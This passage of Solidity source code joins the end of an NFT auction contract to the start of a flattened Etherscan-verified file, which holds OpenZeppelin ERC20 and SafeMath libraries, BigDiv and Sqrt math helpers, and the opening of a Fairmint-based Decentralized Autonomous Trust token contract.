if(_isAuctionERC(auction)) {
totalAmount += auction.getTotalBidAmount(msg.sender);
}
}
}
}
return totalAmount;
}
/**
* @dev is the Auction ETH /ERC20 based
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param auction_ The Auction in consideration
*
* @return true if Auction is ERC20 based
*/
function _isAuctionERC(Auction auction_) private onlyOwner view returns(bool) {
IERC20 token = auction_.getERC20();
return (address(token) != address(0));
}
/**
* @dev removes the assetHash of finished Auctions from the Array
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can end an Auction.
* @param assetHash_ The assetHash to remove.
*
*/
function _removeFinishedAuction(string memory assetHash_) private onlyOwner{
int index = _getIndexOfOngoingAuction(assetHash_);
if(index >= 0) {
_ongoingAuctions[uint256(index)] = _ongoingAuctions[_ongoingAuctions.length-1];
_ongoingAuctions.pop();
}
}
/**
* @dev Returns all the Nft token ids minted in the Smart contract
* Calling conditions:
*
* - Only the owner of the smart contract i.e Unicus platform can invoke this
* @return index_ of the assetHash
*
*/
function _getIndexOfOngoingAuction(string memory assetHash_) private view returns (int index_) {
int index = -1;
for (uint256 i; i < _ongoingAuctions.length ; i++) {
string memory assetHash = _ongoingAuctions[i];
if((keccak256(abi.encodePacked((assetHash))) == keccak256(abi.encodePacked((assetHash_))))) {
return int(i);
}
}
return index;
}
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] |
pragma solidity 0.5.17;
/**
*Submitted for verification at Etherscan.io on 2020-05-04
*/
// File: contracts/interfaces/IWhitelist.sol
pragma solidity 0.5.17;
/**
* Source: https://raw.githubusercontent.com/simple-restricted-token/reference-implementation/master/contracts/token/ERC1404/ERC1404.sol
* With ERC-20 APIs removed (will be implemented as a separate contract).
* And adding authorizeTransfer.
*/
interface IWhitelist
{
/**
* @notice Detects if a transfer will be reverted and if so returns an appropriate reference code
* @param from Sending address
* @param to Receiving address
* @param value Amount of tokens being transferred
* @return Code by which to reference message for rejection reasoning
* @dev Overwrite with your custom transfer restriction logic
*/
function detectTransferRestriction(
address from,
address to,
uint value
) external view
returns (uint8);
/**
* @notice Returns a human-readable message for a given restriction code
* @param restrictionCode Identifier for looking up a message
* @return Text showing the restriction's reasoning
* @dev Overwrite with your custom message and restrictionCode handling
*/
function messageForTransferRestriction(
uint8 restrictionCode
) external pure
returns (string memory);
/**
* @notice Called by the DAT contract before a transfer occurs.
* @dev This call will revert when the transfer is not authorized.
* This is a mutable call to allow additional data to be recorded,
* such as when the user aquired their tokens.
*/
function authorizeTransfer(
address _from,
address _to,
uint _value,
bool _isSell
) external;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/math/BigDiv.sol
pragma solidity ^0.5.0;
/**
* @title Reduces the size of terms before multiplication, to avoid an overflow, and then
* restores the proper size after division.
* @notice This effectively allows us to overflow values in the numerator and/or denominator
* of a fraction, so long as the end result does not overflow as well.
* @dev Results may be off by 1 + 0.000001% for 2x1 calls and 2 + 0.00001% for 2x2 calls.
* Do not use if your contract expects very small result values to be accurate.
*/
library BigDiv
{
using SafeMath for uint256;
/// @notice The max possible value
uint256 private constant MAX_UINT = 2**256 - 1;
/// @notice When multiplying 2 terms <= this value the result won't overflow
uint256 private constant MAX_BEFORE_SQUARE = 2**128 - 1;
/// @notice The max error target is off by 1 plus up to 0.000001% error
/// for bigDiv2x1 and that `* 2` for bigDiv2x2
uint256 private constant MAX_ERROR = 100000000;
/// @notice A larger error threshold to use when multiple rounding errors may apply
uint256 private constant MAX_ERROR_BEFORE_DIV = MAX_ERROR * 2;
/**
* @notice Returns the approx result of `a * b / d` so long as the result is <= MAX_UINT
* @param _numA the first numerator term
* @param _numB the second numerator term
* @param _den the denominator
* @return the approx result with up to off by 1 + MAX_ERROR, rounding down if needed
*/
function bigDiv2x1(
uint256 _numA,
uint256 _numB,
uint256 _den
) internal pure
returns(uint256)
{
if(_numA == 0 || _numB == 0)
{
// would div by 0 or underflow if we don't special case 0
return 0;
}
uint256 value;
if(MAX_UINT / _numA >= _numB)
{
// a*b does not overflow, return exact math
value = _numA * _numB;
value /= _den;
return value;
}
// Sort numerators
uint256 numMax = _numB;
uint256 numMin = _numA;
if(_numA > _numB)
{
numMax = _numA;
numMin = _numB;
}
value = numMax / _den;
if(value > MAX_ERROR)
{
// _den is small enough to be MAX_ERROR or better w/o a factor
value = value.mul(numMin);
return value;
}
// formula = ((a / f) * b) / (d / f)
// factor >= a / sqrt(MAX) * (b / sqrt(MAX))
uint256 factor = numMin - 1;
factor /= MAX_BEFORE_SQUARE;
factor += 1;
uint256 temp = numMax - 1;
temp /= MAX_BEFORE_SQUARE;
temp += 1;
if(MAX_UINT / factor >= temp)
{
factor *= temp;
value = numMax / factor;
if(value > MAX_ERROR_BEFORE_DIV)
{
value = value.mul(numMin);
temp = _den - 1;
temp /= factor;
temp = temp.add(1);
value /= temp;
return value;
}
}
// formula: (a / (d / f)) * (b / f)
// factor: b / sqrt(MAX)
factor = numMin - 1;
factor /= MAX_BEFORE_SQUARE;
factor += 1;
value = numMin / factor;
temp = _den - 1;
temp /= factor;
temp += 1;
temp = numMax / temp;
value = value.mul(temp);
return value;
}
/**
* @notice Returns the approx result of `a * b / d` so long as the result is <= MAX_UINT
* @param _numA the first numerator term
* @param _numB the second numerator term
* @param _den the denominator
* @return the approx result with up to off by 1 + MAX_ERROR, rounding down if needed
* @dev roundUp is implemented by first rounding down and then adding the max error to the result
*/
function bigDiv2x1RoundUp(
uint256 _numA,
uint256 _numB,
uint256 _den
) internal pure
returns(uint256)
{
// first get the rounded down result
uint256 value = bigDiv2x1(_numA, _numB, _den);
if(value == 0)
{
// when the value rounds down to 0, assume up to an off by 1 error
return 1;
}
// round down has a max error of MAX_ERROR, add that to the result
// for a round up error of <= MAX_ERROR
uint256 temp = value - 1;
temp /= MAX_ERROR;
temp += 1;
if(MAX_UINT - value < temp)
{
// value + error would overflow, return MAX
return MAX_UINT;
}
value += temp;
return value;
}
/**
* @notice Returns the approx result of `a * b / (c * d)` so long as the result is <= MAX_UINT
* @param _numA the first numerator term
* @param _numB the second numerator term
* @param _denA the first denominator term
* @param _denB the second denominator term
* @return the approx result with up to off by 2 + MAX_ERROR*10 error, rounding down if needed
* @dev this uses bigDiv2x1 and adds additional rounding error so the max error of this
* formula is larger
*/
function bigDiv2x2(
uint256 _numA,
uint256 _numB,
uint256 _denA,
uint256 _denB
) internal pure
returns (uint256)
{
if(MAX_UINT / _denA >= _denB)
{
// denA*denB does not overflow, use bigDiv2x1 instead
return bigDiv2x1(_numA, _numB, _denA * _denB);
}
if(_numA == 0 || _numB == 0)
{
// would div by 0 or underflow if we don't special case 0
return 0;
}
// Sort denominators
uint256 denMax = _denB;
uint256 denMin = _denA;
if(_denA > _denB)
{
denMax = _denA;
denMin = _denB;
}
uint256 value;
if(MAX_UINT / _numA >= _numB)
{
// a*b does not overflow, use `a / d / c`
value = _numA * _numB;
value /= denMin;
value /= denMax;
return value;
}
// `ab / cd` where both `ab` and `cd` would overflow
// Sort numerators
uint256 numMax = _numB;
uint256 numMin = _numA;
if(_numA > _numB)
{
numMax = _numA;
numMin = _numB;
}
// formula = (a/d) * b / c
uint256 temp = numMax / denMin;
if(temp > MAX_ERROR_BEFORE_DIV)
{
return bigDiv2x1(temp, numMin, denMax);
}
// formula: ((a/f) * b) / d then either * f / c or / c * f
// factor >= a / sqrt(MAX) * (b / sqrt(MAX))
uint256 factor = numMin - 1;
factor /= MAX_BEFORE_SQUARE;
factor += 1;
temp = numMax - 1;
temp /= MAX_BEFORE_SQUARE;
temp += 1;
if(MAX_UINT / factor >= temp)
{
factor *= temp;
value = numMax / factor;
if(value > MAX_ERROR_BEFORE_DIV)
{
value = value.mul(numMin);
value /= denMin;
if(value > 0 && MAX_UINT / value >= factor)
{
value *= factor;
value /= denMax;
return value;
}
}
}
// formula: (a/f) * b / ((c*d)/f)
// factor >= c / sqrt(MAX) * (d / sqrt(MAX))
factor = denMin;
factor /= MAX_BEFORE_SQUARE;
temp = denMax;
// + 1 here prevents overflow of factor*temp
temp /= MAX_BEFORE_SQUARE + 1;
factor *= temp;
return bigDiv2x1(numMax / factor, numMin, MAX_UINT);
}
}
// File: contracts/math/Sqrt.sol
pragma solidity ^0.5.0;
/**
* @title Calculates the square root of a given value.
* @dev Results may be off by 1.
*/
library Sqrt
{
/// @notice The max possible value
uint256 private constant MAX_UINT = 2**256 - 1;
// Source: https://github.com/ethereum/dapp-bin/pull/50
function sqrt(
uint x
) internal pure
returns (uint y)
{
if (x == 0)
{
return 0;
}
else if (x <= 3)
{
return 1;
}
else if (x == MAX_UINT)
{
// Without this we fail on x + 1 below
return 2**128 - 1;
}
uint z = (x + 1) / 2;
y = x;
while (z < y)
{
y = z;
z = (x / z + z) / 2;
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: contracts/DecentralizedAutonomousTrust.sol
pragma solidity 0.5.17;
/**
* @title Decentralized Autonomous Trust
* This contract is a modified version of the implementation provided by Fairmint for a
* Decentralized Autonomous Trust as described in the continuous
* organization whitepaper (https://github.com/c-org/whitepaper) and
* specified here: https://github.com/fairmint/c-org/wiki.
* Code from : https://github.com/Fairmint/c-org/blob/dfd3129f9bce8717406aba54d1f1888d8e253dbb/contracts/DecentralizedAutonomousTrust.sol
* Changes Added: https://github.com/Fairmint/c-org/commit/60bb63b9112a82996f275a75a87c28b1d73e3f11
*
* Use at your own risk.
*/
contract DecentralizedAutonomousTrust
is ERC20, ERC20Detailed
{
using SafeMath for uint;
using Sqrt for uint;
using SafeERC20 for IERC20;
/**
* Events
*/
event Buy(
address indexed _from,
address indexed _to,
uint _currencyValue,
uint _fairValue
);
event Sell(
address indexed _from,
address indexed _to,
uint _currencyValue,
uint _fairValue
);
event Burn(
address indexed _from,
uint _fairValue
);
event Pay(
address indexed _from,
address indexed _to,
uint _currencyValue,
uint _fairValue
);
event Close(
uint _exitFee
);
event StateChange(
uint _previousState,
uint _newState
);
event UpdateConfig(
address _whitelistAddress,
address indexed _beneficiary,
address indexed _control,
address indexed _feeCollector,
bool _autoBurn,
uint _revenueCommitmentBasisPoints,
uint _feeBasisPoints,
uint _minInvestment,
uint _openUntilAtLeast
);
/**
* Constants
*/
/// @notice The default state
uint private constant STATE_INIT = 0;
/// @notice The state after initGoal has been reached
uint private constant STATE_RUN = 1;
/// @notice The state after closed by the `beneficiary` account from STATE_RUN
uint private constant STATE_CLOSE = 2;
/// @notice The state after closed by the `beneficiary` account from STATE_INIT
uint private constant STATE_CANCEL = 3;
/// @notice When multiplying 2 terms, the max value is 2^128-1
